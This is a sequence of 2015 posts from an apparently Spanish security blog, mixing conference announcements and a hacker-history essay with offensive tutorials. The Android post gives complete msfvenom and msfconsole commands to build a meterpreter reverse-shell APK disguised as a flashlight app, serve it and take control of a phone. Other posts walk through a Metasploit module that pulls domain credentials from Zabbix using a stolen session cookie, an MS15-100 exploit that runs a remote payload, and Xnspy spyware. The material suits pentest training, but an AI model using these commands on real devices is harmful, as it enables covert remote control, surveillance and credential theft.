30 nov 2015

Videos Cybercamp 2015 disponibles!

El pasado fin de semana se celebró en Madrid el Cybercamp 2015. Uno de los mayores eventos de Ciberseguridad que se celebran en España. Juntó a muchos usuarios de Internet que se preocupan por la seguridad, pero también junto a familias que querían ser partícipes de la fiesta de la Ciberseguridad en España. Tuve la suerte de estar junto a mi compañero Rafa Sánchez dando un taller de IPv6 y dar una charla sobre cómo los chicos malos pueden conquistar el mundo (también puede verse como, cómo utilizar un módulo de gestión en Metasploit para facilitarme la auditoría). 

Os dejo con los videos, los cuales se dieron por streaming, y tuvieron traducción simultánea:






29 nov 2015

Informe Flu - 229


Buenas a todos, como cada domingo, os dejamos con nuestros “Enlaces de la semana”:

Lunes 23 de Noviembre
  • El lunes iniciamos la semana con el artículo Monitorizando conexiones en Android, en el que vimos una interesante herramienta para monitorizar las conexiones de nuestros dispositivos Android, "Network Connections (Anti Spy Mobile)".
Miércoles 25 de Noviembre
  • El miércoles os hablamos de la segunda edición del congreso Sh3llCON: Todo listo para la segunda edición de Sh3llCON, que se celebrará los días 22 y 23 de enero de 2016 en el Hotel Santemar de Santander con ponencias, mesas redondas y talleres, tanto especializados como para el público general. 
    Saludos!

      25 nov 2015

      Todo listo para la segunda edición de Sh3llCON

      Buenas a todos, ya está en marcha la segunda edición de Sh3llCON, el Congreso de Seguridad Informática de Cantabria.

      La segunda edición del Congreso de Seguridad Informática de Cantabria, Sh3llCON, se celebrará los días 22 y 23 de enero de 2016 en el Hotel Santemar de Santander con ponencias, mesas redondas y talleres, tanto especializados como para el público general. 

      Tras el éxito de la primera edición, que dio cabida a más de 250 personas, ya están a la venta las entradas a precios especiales para estas jornadas, que volverán a convertirse en centro nacional en materia de seguridad informática para instituciones, empresas y ciudadanía. 

      Como novedad, esta segunda edición acogerá, dentro del programa, talleres especializados dirigidos a especialistas y profesionales de la seguridad informática donde los asistentes participarán en clases prácticas. Pablo González, Project Management en Telefónica (11Paths), y Pedro Sánchez, responsable del equipo de Fraude y Cibercrimen en Bitdefender y perito judicial informático, serán los encargados de estas sesiones, que profundizarán en análisis forense y metasploit. 

      Además, Sh3llCON volverá a acercar la seguridad informática al público general gracias a dos talleres gratuitos dirigidos a adolescentes y a adultos. Impartidos por Ángel Pablo Avilés, del Grupo de Delitos Telemáticos de la Guardia Civil, el objetivo será dar a conocer los riesgos de las prácticas más habituales de ambos colectivos en la red, así como promover una navegación más segura.

      Por otro lado, el congreso contará con la presencia de algunos ponentes de la talla nacional como Deepak Daswani o Pedro Candel, expertos en ciberseguridad para la firma internacional Deloitte, o Alfredo Reino, consultor para diversas multinacionales sobre arquitecturas defensivas, detección de amenazas y threat intelligence. 

      Sh3llCON cuenta con el patrocinio del Centro Criptológico Nacional (CCN-Cert), Netkia o Grupo NHS, entre otros

      Toda la información sobre el congreso puede ser consultada en www.sh3llcon.es.

      23 nov 2015

      Monitorizando conexiones en Android

      Buenas a todos, en el post de hoy nos gustaría hablaros de una interesante herramienta para monitorizar las conexiones de nuestros dispositivos Android, "Network Connections (Anti Spy Mobile)".

      Funciona en teléfonos sin necesidad de tener el usuario Root y nos permitirá ver a qué direcciones IP y dominios se conectan todas las aplicaciones de nuestros smartphones y tablets. Una solución interesante para analizar posible malware que se encuentreactuando en nuestros dispositivos, entre otras muchas utilidades.

      Podéis descargarlo desde el siguiente enlace:


      A continuación os dejamos con algunas capturas de pantalla del programa:






      Saludos!

      21 nov 2015

      SecAdmin 2015 con muchos profesionales de la Seguridad de la Información - Have fun & pentesting with PowerShell

      Este año, se celebra la segunda edición del congreso Sec/admin y se celebra en la Facultad de Ingeniería Informática (ETSII) en Reina Mercedes s/n.

      Por si alguien todavía no se ha decidido a comprar la entrada para la Sec/Admin, comentamos los objetivos que se mantienen fieles desde la primera edición:

      Realizar el Congreso de Seguridad Informática #secadmin2k15para difundir, compartir y transmitir el conocimiento de los investigadores de seguridad o “hackers” a la comunidad, empresas del sector privado y público y a la propia Universidad, los avances, investigación e innovación que se han producido en el panorama español e internacional.

      Impulsar el espíritu de “comunidad técnica de seguridad” fomentando la colaboración entre el público asistente, ponentes, empresas de los sectores privados y públicos y a la propia Universidad.

      Consolidar y posicionar el evento dentro del panorama público nacional de Conferencias, Jornadas y Congresos de Seguridad como uno de los eventos “técnicos” más importantes en Andalucía. Brindando un punto de encuentro entre empresas y nuevos talentos. Y un canal dónde estos nuevos talentos puedan dan a conocer sus investigaciones.

      Tenemos ya algunas de las sorpresas que nos pondremos encontrar si asistimos al congreso:


      Contamos con 2 tipos de entradas. Una entrada General de 30,00 € y otra para estudiantes, profesores en 20,00 €. Además, hay descuentos en Renfe

      Francisco Javier Santiago (Co-Organizador SedAdmin)

      Yo tendré la suerte de poder estar allí y dar un taller llamado Have fun & pentesting with PowerShell. Espero que os guste.

      19 nov 2015

      Troyanizando Android con Xnspy

      Buenas a todos, tras el artículo que publicamos hace unos días sobre cómo es posible controlar un smartphone de forma remota con Metasploit, durante los próximos días veremos algunas soluciones de terceros que posibilitan esta misma labor.

      Xnspy es una herramienta espía, comercializada como una herramienta de control parental y que ha sido diseñada para controlar de forma remota smartphones Android e iOS.



      En el caso de iOS, cómo muchos ya sabréis, ejecutar malware es algo más complejo que en Android, pero el autor confirma la compatibilidad del software en dispositivos iOS sin Jailbreak hasta iOS 8.4.1 y en versiones con Jailbreak hasta iOS 9.0.2.

      Xnspy da la posibilidad de interceptar SMS, iMessage, whatsaspps, Viber, Line, Facebook Messenger, Skype, emails, posicionamiento GPS, cámara, micrófono, y un largo etcétera.

      La edición básica de XNSPY cuesta 8,33 dólares/mesy la Premium 12,49.

      En el siguiente enlace disponéis de un entorno DEMO, dónde podréis probar todas las funcionalidades del software:

      17 nov 2015

      GSick Minds 2015: Una nueva aventura

      Hoy comienza la GSick Minds 2015 con la participación de grandes conocidos, tanto del sector de desarrollo, como del sector de la seguridad. Hoy comienza la nueva aventura en la que Madrid forma parte de esto. El próximo viernes 20 y sábado 21 tendrá lugar en el Palexco de A Coruña la edición de todos los años de este gran congreso que cada año reúne a más de 600 personas. 

      La entrada en ambas ciudades es gratuita y esperamos que podáis asistir y vernos allí. Tengo la suerte de poder dar una charla en Madrid y otra en Coruña. El planning de ambos eventos lo podéis consultar en la web, disfrutemos de lo bueno de Madrid y de lo bueno de Coruña en una semana frenética de buenos eventos.



      16 nov 2015

      Troyanizando Android con Msfvenom

      Buenas a todos, tras la decisión del equipo de Metasploit hace ya algún tiempo de retirar msfpayload y msfencode, Msfvenom se convirtió en nuestro aliado, uniendo las capacidades de ambos, aunque con algunos pequeños cambios a la hora de utilizarlo.

      Hoy, quiero centrarme en enseñaros como podéis controlar un dispositivo Android a través de Msfvenom y Msfconsole. Hace un par de años, mi compañero Pablo nos enseñaba en su artículo "Meterpreter en Android: El desembarco en tu smartphone" como podíamos realizar esta labor mediante msfpayload, pero actualmente está deprecated, por lo que hoy veremos como realizar esta misma labor con Msfvenom.

      El primer paso a realizar será generar un APK malicioso que hará de agente/bot. Este software debería ser instalado en el dispositivo Android a controlar. Por ejemplo, yo realizaré las pruebas en un entorno local:
      msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 R > /root/linterna.apk 
      A continuación, y con el fin de facilitar la carga del APK en el móvil, levantaré un Apache2 (en Kali 2), y copiaré el APK a la carpeta raíz del servidor web:
      service apache2 start
      cp /root/linterna.apk /var/www/html 
      El siguiente paso será iniciar msfconsole, cargar el exploit y el payload reverse_tcp de Android:
      msfconsole
      use exploit/multi/handler
      set payload android/meterpreter/reverse_tcp 
      Posteriormente configuraremos la dirección IP donde dejaremos el manejador escuchando y el puerto que previamente hemos indicado al bot al que se debe conectar:
      set LHOST 192.168.1.50
      set LPORT 4444 
      Finalmente ejecutaremos la instrucción exploit:
      exploit 
      Ahora si instalamos el software que previamente habremos alojado en la ruta  http://192.168.1.50/linterna.apk dispondremos de control sobre el dispositivo.

      Disponemos de un gran listado de comandos para interactuar con el dispositivo:




      Si realizáis numerosas pruebas con él, veréis que no es 100% estable, y cuando traemos grandes cantidades de información del dispositivo suele colgarse. Pero solo tendremos que volver a abrir el APK instalado para tener control de nuevo sobre el terminal.

      Saludos!

      15 nov 2015

      Informe Flu - 227


      Buenas a todos, como cada domingo, os dejamos con nuestros “Enlaces de la semana”:

      Lunes 9 de Noviembre
      • El lunes pasado publicamos la primera edición de la cadena de artículos: Las generaciones hacker: ¿cuántas existen? - Parte 1. Es habitual que en numerosos eventos, entrevistas, etc. muchos hackers se presenten o les presenten como hackers de la Old School (vieja escuela). ¿Pero cuántas escuelas existen? ¿Cuándo dieron comienzo? ¿Quién fue el primer hacker? En esta cadena de artículos intentaremos averiguarlo... :)
      Martes 10 de Noviembre
        Saludos!

          10 nov 2015

          Remember: Módulo Metasploit CVE-2013-5572 volviendo en tren de Murcia

          En el año 2013 publicamos un CVE entre varios compañeros de la antigua Informática 64 que afectaba a Zabbix. La vulnerabilidad consistía en que se podía sacar la cuenta de dominio con la que Zabbix se conectaba al controlador de dominio, simplemente accediendo al recurso authentication.php. Claro, debíamos estar autenticados de alguna manera para acceder a dicho recurso, aunque lo curioso es que Zabbix por defecto no tiene https, por lo que es fácil capturar un login o una cookie. Por lo general, es más sencillo capturar la sesión de un usuario que accede a Zabbix, ya que hay mayor probabilidad de que realice una petición a la aplicación.

          En CVE Details podemos ver la valoración o el score de severidad que se calculó sobre la vulnerabilidad. El valor final o CVSS es de 3.5, siendo una vulnerabilidad de severidad baja, debido a qué debemos estar autenticados de alguna manera.


          Vale, pero ¿Qué es Zabbix? Es un software de monitorización para diversos parámetros de una red, como por ejemplo la integridad y salud de los servidores de una organización. Este software Open Source tiene una parte dedicada a la integración con LDAP, por lo que se puede utilizar un usuario de dominio para integrarlo en directorio activo. La versión que nosotros probamos y era vulnerable era la versión 2.0.5, pero como indicamos en Seclists sospechábamos que podían existir más versiones vulnerables, sobretodo las anteriores a la 2.0.5. Existe más información del bug y de Zabbix en Seclists.

          ¿Cómo puedo aprovecharme de Zabbix?

          Existen diversas maneras por las que un pentester podría aprovecharse de Zabbix, como por ejemplo el no uso de capa segura por defecto, cualquier técnica por la que se consiga colocar nuestro equipo en medio de una comunicación, Man In The Middle, bastaría para lograr las credenciales o, en su defecto, una cookie. En algunas ocasiones también podemos encontrar situaciones extrañas en dispositivos de red, o comportamientos no deseados que puedan provocar que algunos switches se comporten como hubs. Sea como sea, y sobretodo hablando en una red interna, puede ser fácil conseguir un elemento que nos identifique ante Zabbix.

          En este caso nos vamos a centrar en la cookie de Zabbix indicando que solamente necesitaremos el valor de zbx_sessionid. Como se puede ver en la siguiente imagen si disponemos de la cookie es trivial acceder al recurso authentication.php de Zabbix y al visualizar el código fuente podremos obtener la contraseña del usuario de dominio con el que Zabbix se ha integrado.


          Módulo para Metasploit

          Volviendo de una charla en Murcia en tren no había nada mejor que hacer que programar el módulo de esta vulnerabilidad. Es algo que tenía en mente mucho tiempo atrás, ya que al final es un CVE nuestro. Sobre las 19.00 de la tarde de un viernes, a dos horas de Madrid, comencé con el desarrollo del módulo con el objetivo de obtener las credenciales de la cuenta de dominio que utiliza un Zabbix, la dirección IP del host que tiene montado el LDAP y el usuario de Zabbix del que se tiene la cookie.

          Antes de ponerme a desarrollar monté un Zabbix y un Windows Server 2012 con un dominio de prueba. En la siguiente imagen se puede ver como se configura Zabbix con el LDAP. En la imagen de la izquierda se ve la conexión con un usuario normal, y en la imagen de la derecha como Zabbix utiliza el usuario Administrador del dominio para realizar la autenticación. La recomendación es utilizar un usuario sin demasiados privilegios, ya que al acceder a Zabbix se puede obtener la contraseña del usuario de dominio de manera sencilla, ya sea vía navegador, o con el módulo que se mostrará.



          El módulo es de tipo auxiliary ya que no se realiza una explotación con el fin de obtener el control de la máquina o ejecutar código en la máquina. Lo que conseguimos con este tipo de módulos son otras funcionalidades dentro de un pentesting que pueden ser interesantes en un momento dado. Para generar el módulo heredamos de la clase Msf::Auxiliary. Este tipo de módulos disponen de diversos atributos y métodos comunes, en el caso de los atributos nos encontramos con:

          • RHOST. Host remoto sobre el que lanzaremos el módulo.
          • RHOSTS. En el caso de los scanners se utilizará dicho atributo para especificar redes.
          • RPORT. Puerto remoto sobre el que lanzaremos el módulo.
          • PORTS. En el caso de scanners se especifica el rango de puertos sobre los que se escaneara.

          Para el caso de los métodos, cuando desarrollamos un módulo de estas características tenemos lo siguiente:

          • Initialize. Función que inicializa el módulo indicando información como la descripción, el autor, licencia, nuevos atributos del módulo, etcétera.
          • Run. Esta función lanza el módulo ejecutando el código implementado.



          La función initilize tiene una parte para registrar nuevas opciones o atributos. En este caso necesitamos algunos parámetros nuevos como son los siguientes:

          • zbx_session. Este parámetro se debe configurar obligatoriamente y debe contener la cookie robada u obtenida.
          • TARGETURI. Este parámetro debe recibir el path dónde se encuentra la gestión de LDAP y usuarios. Por defecto en Zabbix es /zabbix/authentication.php, por ello en el módulo indicamos “[true, ‘Path Zabbix Authentication’, ‘/zabbix/authentication.php’]”. El primer valor indica que el atributo debe ser configurado de forma obligatoria, el segundo indica un texto descriptivo sobre la funcionalidad del parámetro, mientras que el tercero indica un valor por defecto, por lo que al cargar el módulo en Metasploit, el valor con el que aparecerá el atributo es el indicado.
          • TIMEOUT. Este parámetro indica el timeout configurado para realizar las peticiones HTTP.
          Hay una línea que debemos tener en cuenta y es include Msf::Exploit::Remote::HttpClient. Con este include podemos utilizar las funciones de dicha clase, por ejemplo send_request_cgi de la cual hablamos más adelante.

          Antes de hablar de la función run trataremos una serie de funciones que mostrarán por pantalla los valores buscados, los cuales son usuario y contraseña de dominio, usuario de Zabbix y dirección IP dónde se encuentra el LDAP.


          La función ldap_host recibe la respuesta de Zabbix, una vez que realizamos la petición y realizamos una búsqueda del patrón ldap_host value. Si esto se encuentra hemos encontrado el host al que se conecta Zabbix, y si esto ocurre es que estamos dentro de la sesión de usuario de Zabbix y podremos obtener más datos. Tanto la función user_passDomain como user_zabbix realizan una operativa similar, salvo que los patrones a buscar son diferentes. En el caso de la password del usuario de dominio se debe buscar ldap_bind_password.

          La función run la he simplificado para que solo llame a una función que realiza peticiones utilizando la función send_request_cgi. La función req que se puede ver en la imagen, crea un paquete HTTP con las cabeceras host, method, uri, cookie o content-type. Una vez realizada la petición HTTP se almacena en la variable resp la respuesta, para posteriormente pasársela a las diferentes funciones creadas anteriormente. A continuación se explican los detalles a tener en cuenta:

          • El header host se obtiene del RHOST configurado por el usuario en el módulo, para ello se utiliza la variable datastore[‘RHOST’].
          • El header cookie se obtiene del atributo configurado por el usuario que denominamos zbx_session. Como se ve en la imagen ‘cookie’ => “zbx_sessionid=#{datastore[‘zbx_session’]}”.
          • El timeout también debe obtenerse de datastore.

          Con el módulo ya creado vamos a probarlo con un Zabbix 2.0.5 montado en una máquina virtual y configurada correctamente, arrancamos Metasploit. Con el comando use accedemos al módulo que hemos generado y tras ejecutar show options y ver qué nos ofrece el módulo lo configuramos con la ejecución de dos comandos. Tenemos en cuenta que el atributo TARGETURI no lo configuramos porque el módulo nos proporciona la ruta por defecto de gestión con LDAP de Zabbix. Ejecutamos lo siguiente:

          • set RHOST <IP Zabbix>
          •  set zbx_session <cookie obtenida>



          Tras la ejecución podemos ver cómo, si todo va bien, obtenemos la dirección IP dónde se encuentra el directorio activo, en este caso la dirección IP 192.168.56.103. Zabbix se encuentra en la dirección IP 192.168.56.102. También obtenemos una línea que dice User Domain? Indicando que es un usuario de dominio. Lo mismo ocurre para la contraseña y para el usuario de Zabbix. Tenemos que tener en cuenta que el usuario de dominio que obtenemos puede ser más crítico de lo que a priori podríamos pensar, ya que en muchas ocasiones podemos encontrarnos con qué dicho usuario tiene ciertos privilegios, o todos si es el administrador de dominio.

          Una manera sencilla de comprobar los privilegios sería utilizar el módulo exploit/windows/smb/psexec del propio Metasploit, el cual permite realizar pass the hash o autenticación con usuario y contraseña a través de SMB. El módulo implementado en este artículo puede ser descargado desde mi github, mientras que Zabbix puede ser descargado desde su sitio web. Se guarda un histórico de versiones, por lo que si queréis probar versiones anteriores se puede.

          Tenemos que tener en cuenta que un pequeño fallo en la configuración de un dispositivo de red, un ataque en una red local contra usuarios de Zabbix, un ataque dirigido al administrador de Zabbix puede desembocar en algo más “gordo” debido a pequeños fallos en el software. Estas pequeñas debilidad con un CVSS bajo, recordemos el 3.5, pueden desembocar en una escalada de privilegio en un dominio de la organización pudiendo llegar incluso a ser administrador de dominio. Las pequeñas debilidades las cuales nadie tiene en cuenta pueden convertirse en un gran agujero por el que pwnear. 

          9 nov 2015

          Las generaciones hacker: ¿cuántas existen? - Parte 1

          Buenas a todos, en la cadena de posts que hoy daremos comienzo me gustaría analizar con todos vosotros a las generaciones hacker pasadas, con el fin de intentar determinar las generaciones de hackers existentes.

          Es habitual que en numerosos eventos, entrevistas, etc. muchos hackers se presenten o les presenten como hackers de la Old School (vieja escuela). ¿Pero cuántas escuelas existen? ¿Cuándo dieron comienzo? ¿Quién fue el primer hacker?

          En primer lugar tomaré como referencia la definición de Hacker que fue propuesta en change.org para sustituir a la criticada definición de la RAE:

          Hacker: Investigador/a que con pasión y habilidad es capaz de hacer cosas con las tecnologías más allá de las que los propios creadores pensaron. Que busca los límites a la tecnología con el fin de mejorarla.

          Queda claro que un hacker no tiene porque ser experto en ordenadores, dentro de esta definición entrarían también, entre otros, los Phreakers como Captain Crunch o Steve Wozniak. Este movimiento arrancó en los años 50-60, y demostraron al mundo sus conocimientos hackeando líneas telefónicas.

          También en los años 60 se produjo un gran salto computacional gracias a la actualización a finales de los años 50 de los tubos de vacío por los transistores y, posteriormente, en 1963, con el comienzo del uso de los primeros circuitos integrados por parte de la NASA para el Apollo Guidance Computer (http://ed-thelen.org/), y por los militares en el misil balístico intercontinental LGM-30 Minuteman. Este cambio arquitectural de los ordenadores hizo nacer la que ahora es conocida como la “Tercera Generación de las Computadoras“.

          En 1960 el DEC PDP-1, creó el “cinescopio”, el primer monitor para un ordenador. Este invento inspiró a los SUPUESTOS primeros “hackers”, Víctor Vyssotsky, Robert Morris Sr. y Dennis Ritchie, de los laboratorios Bell, a programar el primer videojuego “Core War”, al que denominaron “Darwin”. Darwin consistía en dos programas que luchaban entre sí para ocupar el mayor número posible de una memoria común compartida para destruir al enemigo (como si de un gusano se tratase).

          Por tanto en 1960 la historia parece determinar que hay un posible inicio del hacking tal y como hoy lo conocemos, y que además coincidió con la tercera generación de las computadoras. Lo que supuestamente querría decir que llevaríamos 55 años de historia del hacking. ¿Y cómo transformamos 55 años en generaciones? Vamos a ello, si analizamos varios estudios sociológicos, una generación sería el tiempo que una persona tarda en tener descendencia, que de media se situaría en 30 años.

          Si una generación tiene 30 años, y llevamos 55 años de historia del Hacking, podríamos determinar que los hackers de antes de 1990 serían la primera generación de hackers, y por tanto, la Old School, y las generaciones de 1990 al 2020, la segunda generación.

          ¿Qué opináis? ¿Estáis de acuerdo con estos datos? ¿Pensáis que existen más generaciones?

          Con las conclusiones que compartáis con nosotros seguiremos ampliando la investigación y la publicaremos en próximos artículos de esta cadena.

          Saludos!


          6 nov 2015

          msf15-100: crea tu módulo de Metasploit

          El pasado martes 15 de septiembre tuve que viajar a las I Jornadas Nacionales de Investigación en Ciberseguridad en León. A veces es un poco duro el tener que estar cogiendo trenes o aviones para ir y volver en el mismo día, pero a los que nos gusta… nos gusta. Cuando volvía a casa me puse a revisar cosas pendientes que tengo por ojear, y vi la vulnerabilidad ms15-100 de Microsoft. Esta vulnerabilidad me llamó la atención por varias cosas: la primera porque es una ejecución de comandos remota y segundo por lo sencilla que es, es decir cualquier usuario puede entender lo que ocurre con ella.

          Decidí comprobar lo fácil de la explotación de la vulnerabilidad así que realicé una pequeña prueba y verifiqué en una máquina virtual con Windows 7 SP1 que todo funcionaba como indica la vulnerabilidad, ¿Fácil, no?

          Una vez hecho esto hay que ponerse manos a la obra y quería aprovechar el tiempo de tren para picarme un módulo de Metasploit para esta vulnerabilidad. Lo curioso es que una vez terminado me di cuenta que la gente de Rapid7 ya lo había implementado, lo cual es lógico, ya que la vulnerabilidad es del día 8 de Septiembre.

          ¿Qué hace la vulnerabilidad?

          La vulnerabilidad es tan sencilla que se resume en la existencia de un fichero de tipo mcl que permite instalar cosas en Windows Media Center. Este fichero es utilizado para ejecutar, por ejemplo, plugins y permite ejecutar aplicaciones. Esto abre un campo a la ejecución de código remoto, ya que permite la ejecución a través de UNC, Universal Naming Convention. Como se puede ver en la siguiente imagen el mcl es muy sencillo de entender.


          En este pequeño ejemplo rápido, cuando se ejecute un fichero mcl con este contenido se accederá a la dirección IP 192.168.1.14 para solicitar el fichero ubicado en ms15/p.exe y se ejecutará, provocando la ejecución remota y, por supuesto, maliciosa.

          El módulo que realicé está subido a mi github, el cual uso como almacén. El módulo tiene la función Initialize, como siempre, y que comentamos brevemente a continuación:

          • En DefaultOptions se indica qué atributos del módulo tendrán una configuración por defecto, y en este caso se han configurado EXITFUNC para que sea process y en el atributo InitialAutoRunScript se configura el comando migrate –f, para que cuando se ejecute el payload se cree un nuevo proceso y la ejecución del payload se realice en el nuevo proceso y no en el proceso comprometido.
          • En Targets se indica a qué software afecta la vulnerabilidad y con DefaultTarget se indica qué target es el elegido.
          • La función register_options da de alta nuevos atributos en el módulo. En este caso se han dado de alta los siguientes atributos: FILENAME para indicar el nombre con el que se creará el fichero que contiene la ruta del código malicioso, PoC_BINARY el cual indica la ruta al binario que se quiere ejecutar, PoC es un booleano que indica el tipo de ejecución, ya que el módulo tiene 2, una en modo prueba de concepto que abre una calculadora y otra que genera un binario con un payload y prepara el fichero con esa ruta. Por último tenemos el atributo EXE el cual indica el nombre o ruta en el que se creará el binario malicioso, generalmente utilizaremos una Meterpreter dentro del binario.


          Hasta aquí la parte más administrativa y más sencilla del módulo. En este caso, el módulo no será complejo, pero ¿Qué queremos que haga el módulo? Como se mencionó anteriormente el atributo PoC es un enumerado que representa a un booleano, el cual solo puede coger dos valores true y false. Por defecto es false, es decir, se ejecutará una pequeña prueba de concepto que genera un fichero mcl con la siguiente instrucción . Cuando el usuario ejecute el archivo se abrirá una calculadora en su sistema Windows.

          En la siguiente imagen se puede ver la definición de la función exploit y la definición de la función make_poc_mcl, la cual es utilizada en la primera función. La función exploit comprueba el modo en el que se lanza el módulo por parte del usuario, empezando por el atributo PoC. Si la ejecución es con el valor false se crea un fichero solamente con la instrucción file_create(mcl) en la que la variable mcl vale “<application run=”[valor de PoC_Binary]”/>.





          Si la ejecución vale true se utiliza el objeto framework, el cual está disponible en el intérprete de Ruby que se puede ejecutar desde la consola de Metasploit. Este objeto nos da acceso a todo lo que podemos hacer con el framework desde la consola de comandos. En este caso buscamos crear una instancia del módulo de tipo payload que haya indicado el usuario en la variable PAYLOAD. Por ejemplo, si el usuario configura PAYLOAD como windows/meterpreter/reverse_tcp la instrucción m = framework.modules.create(datastore[‘PAYLOAD’]) crea una instancia de dicho módulo.

          Después se configura la variable interna del módulo de tipo payload con la instrucción m.datastore[‘LHOST’] = datastore[‘LHOST’], por si el módulo seleccionado por el usuario requiere este atributo.

          Queremos generar un ejecutable del payload, por ello se utiliza la función interna generate_simple. En las opciones que se pasan a la función se utiliza la clave ‘Format’ para indicar que será un exe. Una vez generado y almacenado en memoria el ejecutable hay que pasarlo a disco para ello se utilizar funciones básicas de Ruby. Por último, la ejecución del módulo acaba generando un fichero mcl el cual puede apuntar a un recurso compartido dónde nosotros almacenaremos el binario que acabamos de crear.


          ¿Cuál es el objetivo? Por ejemplo, si el atributo PoC_BINARY vale \\<dirección IP>\ruta al binario.exe y se crea un fichero mcl que invoque este binario automáticamente al abrir el fichero tendremos la ejecución de comandos de la vulnerabilidad que Microsoft acaba de parchear hace pocos días. Configurando el exploit/multi/handler después podremos recibir las conexiones.


          Todo esto en el viaje de vuelta de León, ha sido divertido. Ya sabéis de 17 a 20 se puede hacer muchas cosas…